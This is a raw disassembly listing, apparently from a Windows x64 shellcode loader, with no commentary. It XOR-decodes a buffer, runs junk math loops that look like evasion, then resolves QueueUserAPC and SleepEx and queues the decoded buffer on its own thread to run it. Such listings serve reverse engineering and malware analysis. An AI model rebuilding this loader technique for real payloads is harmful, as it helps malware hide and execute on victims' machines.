call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0xe4
jle 0x140002988
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, 0x79
jbe 0x140002704
mov dword [rbp + 0x888], 0
jmp 0x140002b33
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x880]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x880], 0x79
jne 0x140002a61
mov dword [rbp + 0x880], 0
jmp 0x140002b2c
mov dword [rbp + 0x864], 0xffffffff
mov ecx, 0x588
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x864], 0xaf
jle 0x140002a7c
add dword [rbp + 0x880], 1
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x504
jle 0x140002a0b
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x858], 0
mov ecx, 0x31f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x860], 0
jmp 0x140002bf0
mov dword [rbp + 0x85c], 0
jmp 0x140002be0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x8fbd2f1
shr rdx, 0x20
sar edx, 8
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1c7f
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x860]
cdqe
imul rcx, rax, 0x138
mov rax, qword [rbp + 0x6e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x4d
jle 0x140002b84
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x28
jle 0x140002b78
mov dword [rbp + 0x860], 0
jmp 0x140002c6c
mov dword [rbp + 0x85c], 0
jmp 0x140002c5c
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x858]
mov eax, dword [rbp + 0x860]
cdqe
imul rdx, rax, 0x138
mov rax, qword [rbp + 0x6e0]
add rdx, rax
mov eax, dword [rbp + 0x85c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x858], eax
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x4d
jle 0x140002c15
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x28
jle 0x140002c09
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x848]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6e8]
mov r9, qword [rbp + 0x6d8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6d0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8b0]
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
ret